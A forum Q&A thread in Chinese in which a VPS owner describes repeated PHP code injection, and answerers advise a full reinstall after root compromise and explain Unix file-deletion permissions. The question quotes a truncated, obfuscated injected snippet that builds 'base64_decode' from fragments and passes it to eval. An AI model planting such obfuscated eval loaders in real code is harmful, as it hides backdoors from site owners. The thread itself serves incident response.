權限設置為 555。其他使用者如何修改文件?
我執行帶有 Vesta 的 Ubuntu 12.04 x64 VPS 和 PHP 站點。它已被注入程式碼多次攻擊,如下所示:
<?php $KoDgalxVvsZfidVcEOTJDeMX='ba'.'se6'.'4_deco'.'de';eval($KoDgalxVvsZfidVcEOTJDeMX("cHJlZ19yZXBsYWNlKCIvN0xna0xnND1IR2JEOGs2WDht....
為了解決這個問題,我決定將所有文件的權限和所有者更改為 555 和 root,因此沒有使用者可以更改文件。我刪除了 FTP 訪問並保護了 SSH,因此只有我在 VPS 中擁有的密鑰能夠連接。
儘管進行了所有這些更改,但其他使用者始終能夠更改文件、重命名文件夾並上傳另一個被黑客入侵的文件。
你覺得我錯過了什麼?有什麼建議嗎?謝謝!如果您需要有關此問題的更多資訊,我將很樂意分享,以幫助遭受同樣邪惡的其他人!
攻擊者在您的系統上獲得了 root 權限。你根本不能相信系統上的任何東西。rootkit 可以做的事情範圍很廣。
如果您在某處備份了內容,請使用它們。否則,您可以希望攻擊者沒有弄亂您的數據。轉儲您的 SQL 表並將其與其他內容(jpg、pdf、html,但不包括任何腳本/php/將執行的任何其他內容)一起複製。將其複製到另一個系統,或者將其下載到您的家用電腦,如果它足夠小,您可以再次上傳它。
盡你所能來驗證你複製的內容是否還可以。(比如檢查 jpg 是否仍然都是有效的 jpg,以防萬一。也許對它們執行病毒掃描程序?)
吹走受損的安裝。如果您的伺服器託管在典型的託管服務上,那麼希望他們已經設置好了,這樣您就有了一個控制面板,即使是主機上的 root 也不會搞砸。所以你可以希望攻擊者沒有設法接觸到他們所破壞的機器之外的任何東西。(但是,如果您可以無密碼訪問該機器上設置的任何其他內容,請檢查它們。)
做任何你必須做的事情來進行全新的安裝。不妨遷移到 Ubuntu 14.04 LTS,因為無論如何您都必須重新安裝。
不要將任何程式碼從受感染的系統複製到新系統。來自受感染系統的所有數據都應被視為潛在的瘟疫攜帶者。
Unix 文件系統語義需要目錄的寫權限才能刪除文件。(文件名是從名稱到 inode 的連結。建立硬連結(文件的其他名稱)的系統呼叫是
link(2)
,刪除文件的呼叫是unlink(2)
。)
chmod +t
如果在目錄 ( )上設置了粘性位,unlink(2)
並且rename(2)
還要求呼叫者擁有要取消連結或重命名的文件。(不管文件的寫權限)。它是標準的/tmp
(世界/var/tmp
可1777
寫的,帶有粘性位)。
rm
POSIX要求在取消連結只讀文件之前提示shell 命令,但它必須檢查這種情況。它實際上不需要unlink(2)
像對任何其他文件那樣做任何事情。所以不要誤以為這對對手有任何影響。這些都與防禦攻擊無關,因為最有可能的情況是獲得對您的 Web 伺服器程序的控制權,或者使用具有對很多事物的寫訪問權限的使用者 ID 執行的其他事物。
您可以越多地限制必須處理來自 Internet 的數據的程序可以寫入的內容,攻擊者從控制您的 httpd 升級為修改您的數據或控制您的整個機器的機會就越小。
這就是為什麼您不應該以 root 身份執行 apache。